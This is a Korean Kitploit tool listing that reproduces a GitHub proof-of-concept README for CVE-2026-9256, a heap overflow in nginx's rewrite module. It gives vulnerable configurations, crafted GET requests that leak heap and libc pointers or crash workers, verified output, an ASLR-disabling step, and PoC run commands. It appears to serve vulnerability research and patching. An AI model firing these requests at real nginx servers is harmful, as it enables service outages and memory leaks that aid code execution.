Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/3nou9h/cve-2026-9256-poc
Memory ForensicsVulnerability AnalysisExploitationWeb SecurityLearning & EducationBinary Exploitation
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

nginx의 ngx_http_rewrite_module에서 CVE-2026-9256 힙 버퍼 오버플로를 시연하며, 힙/libc 누출 및 작업자 충돌을 위한 PoC 스크립트를 포함합니다.

저장소 보기
3143개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

nginx ngx_http_rewrite_module 힙 버퍼 오버플로우

설명

nginx Plus 및 nginx 오픈 소스 ngx_http_rewrite_module에 힙 버퍼 오버플로우 취약점이 존재합니다. rewrite 지시문이 중첩된 PCRE 캡처 그룹(예: ^/((.*))$)이 있는 정규식과 여러 캡처를 참조하는 대체 문자열(예: $1&y=$2)을 사용할 때, 정적 경로 버퍼 크기 계산이 필요한 공간을 과소평가하여 실제 쓰기가 할당된 크기(Pool Slip)를 초과하게 됩니다.

인증되지 않은 공격자는 조작된 HTTP 요청을 통해 이를 트리거하여 작업자 프로세스에서 힙 버퍼 오버플로우를 일으킬 수 있습니다. ASLR이 비활성화되거나 우회될 수 있는 경우 코드 실행이 가능합니다.

근본 원인

파일: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // 버그: 이스케이프 오버헤드가 URI 전체에 대해 한 번만 계산됨
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // 원시 길이
    }
}

각 $N은 복사 시 독립적으로 이스케이프됩니다(ngx_http_script.c:1397-1401). 중첩된 캡처로 인해 동일한 부분 문자열이 두 번 이스케이프되어 이스케이프 비용이 두 배가 되지만, 할당은 한 번만 고려합니다.

오버플로우 공식 (2중 중첩 ((.+)), URI의 + 문자 Q개):

root@kitploit:~
할당됨 = code_size + 2*Q + 2*(Q+1)
실제   = code_size + 2*(3*Q + 1)
오버플로우 = 2*Q  (정밀하게 제어 가능)

트리거 조건 (세 가지 모두 필요):

테스트 환경

요구 사항

  • Docker (docker compose 포함)
  • Python 3 (타사 종속성 없음)

디렉토리 구조

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # nginx:1.31.0 기반
│   ├── docker-compose.yml         # 컨테이너 설정 (SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR 켜짐 (기본값)
│   ├── entrypoint_aslr_off.sh     # ASLR 꺼짐 (libc_leak 용)
│   └── nginx.conf                 # 취약한 설정
├── heap_leak.py                   # heap_leak PoC
├── libc_leak.py                   # libc_leak PoC
├── crash_verify.py                # crash_verify PoC
├── LICENSE
└── README.md

빌드 및 실행

root@kitploit:~
cd env/

# 베이스 이미지 가져오기 (~200MB)
docker pull nginx:1.31.0

# 빌드 및 시작
docker compose up --build -d

# 확인
curl -s http://127.0.0.1:19321/
# 예상: ok

일반 명령어

root@kitploit:~
# nginx 로그 보기 (충돌 정보)
docker compose logs -f

# 중지 및 제거
docker compose down

# 재시작 (충돌 후)
docker compose restart

ASLR

현재 상태 확인:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = 꺼짐, 1 = 부분, 2 = 전체

heap_leak 및 crash_verify는 ASLR에 관계없이 작동합니다. libc_leak은 호스트에서 ASLR을 비활성화해야 합니다:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

또는 nginx 프로세스에 대해서만 ASLR을 비활성화할 수 있습니다 (호스트 권한 불필요): entrypoint_aslr_off.sh를 entrypoint.sh로 복사한 다음 docker compose up --build -d를 실행합니다.

참고: 컨테이너는 호스트 커널을 공유합니다. randomize_va_space는 호스트에서 설정해야 합니다.

검증된 결과

힙 포인터 유출

필요한 설정:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

메커니즘: Pool Slip으로 인해 ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))가 오버플로우 영역에 할당됩니다. 스크립트 엔진의 초기화된 필드(e->ip, e->sp, e->request)가 다시 쓰여진 URI의 쿼리 문자열로 유출되고 return 200 "$arg_y"를 통해 반영됩니다.

요청:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

검증된 결과 (nginx:1.31.0, ASLR 켜짐):

root@kitploit:~
e->ip      = 0x00006544dec82430  (설정 풀 코드 배열)
e->sp      = 0x00006544dec5ada0  (요청 풀 스크립트 스택)
e->request = 0x00006544dec58880  (요청 구조체)

유출되는 내용: nginx 작업자 주소 공간 내의 원시 힙 포인터.

PoC: heap_leak.py


libc 범위 포인터 유출

필요한 설정:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # 반드시 연결 가능해야 함
    add_header X-Leak-Y "$arg_y" always;
}

메커니즘: proxy_pass가 업스트림 초기화를 트리거합니다. 라이브러리 함수 포인터를 포함하는 업스트림 구조체가 오버플로우 영역에 할당됩니다. add_header "$arg_y"가 원시 바이트를 응답 헤더에 씁니다.

요청:

root@kitploit:~
GET /leak2/%25%25...(약 40 x %25)...A HTTP/1.0

검증된 결과 (nginx:1.31.0, ASLR 꺼짐, request_pool_size=7920):

root@kitploit:~
유출된 ptr = 0x00007fbfc3b7c346

유출되는 내용: 0x7f... 범위의 원시 포인터 (libc 로드 영역). libc 베이스를 계산하려면 대상에서 /proc/<pid>/maps를 읽고 leaked_ptr - libc_base를 계산합니다.

ASLR 의존성: 이 단계는 ASLR이 꺼져 있어야 합니다. 유출된 포인터는 해제된 청크 메타데이터(fd/bk → main_arena)에서 비롯됩니다. ASLR이 켜져 있으면 해제된 청크 오프셋이 달라지고 작은 오버플로우로 안정적으로 도달할 수 없습니다.

PoC: libc_leak.py


더 간단한 대안: redirect 모드(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;)를 사용하면 Location 헤더가 문자 인코딩 문제 없이 원시 오버플로우 바이트를 직접 노출합니다. 단일 요청으로 힙 포인터(Q=10~450)를 유출하거나 충돌(Q >= 500)을 트리거할 수 있으며, proxy_pass나 특별한 pool_size가 필요하지 않습니다.


작업자 충돌 (DoS)

필요한 설정:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

메커니즘: 9중 중첩은 오버플로우 = 16Q를 생성합니다 (2중 중첩의 2Q와 비교). request_pool_size=7920에서 Q=123은 풀 블록 경계를 벗어나 인접한 malloc 청크 메타데이터를 덮어씁니다. glibc가 손상을 감지하고 작업자를 종료합니다. 마스터가 자동으로 재시작합니다.

요청:

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

검증된 결과 (nginx:1.31.0, request_pool_size=7920):

root@kitploit:~
Q=122: 정상 응답  (오버플로우=1952B)
Q=123: 응답 없음, nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
5/5회 재현됨.

중첩 vs pool_size: N개 중첩은 오버플로우 = (N-1)*2*Q를 생성합니다. 기본 pool_size=4096에서 9중 중첩만으로도 충돌을 일으키기에 충분합니다. 더 큰 pool_size는 주어진 Q에 대해 더 적은 중첩이 필요합니다.

PoC: crash_verify.py

PoC 실행

root@kitploit:~
# 1단계: 힙 포인터 유출
python3 heap_leak.py 127.0.0.1 19321

# 2단계: libc 범위 포인터 유출 (ASLR 꺼짐 필요)
python3 libc_leak.py 127.0.0.1 19321

# 3단계: DoS 충돌
python3 crash_verify.py 127.0.0.1 19321

면책 조항

이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 무단 사용은 금지됩니다.

도구 다운로드
조건세부 사항
명명된 변수 없음, 중복 $N 없음정적 경로 (sc.variables==0 && !sc.dup_capture)
정규식에 중첩된 캡처 그룹예: ((.+))는 $1과 $2가 동일한 내용과 일치하도록 함
URI에 + 또는 %XX 존재이스케이프 경로 트리거 (plus_in_uri 또는 quoted_uri)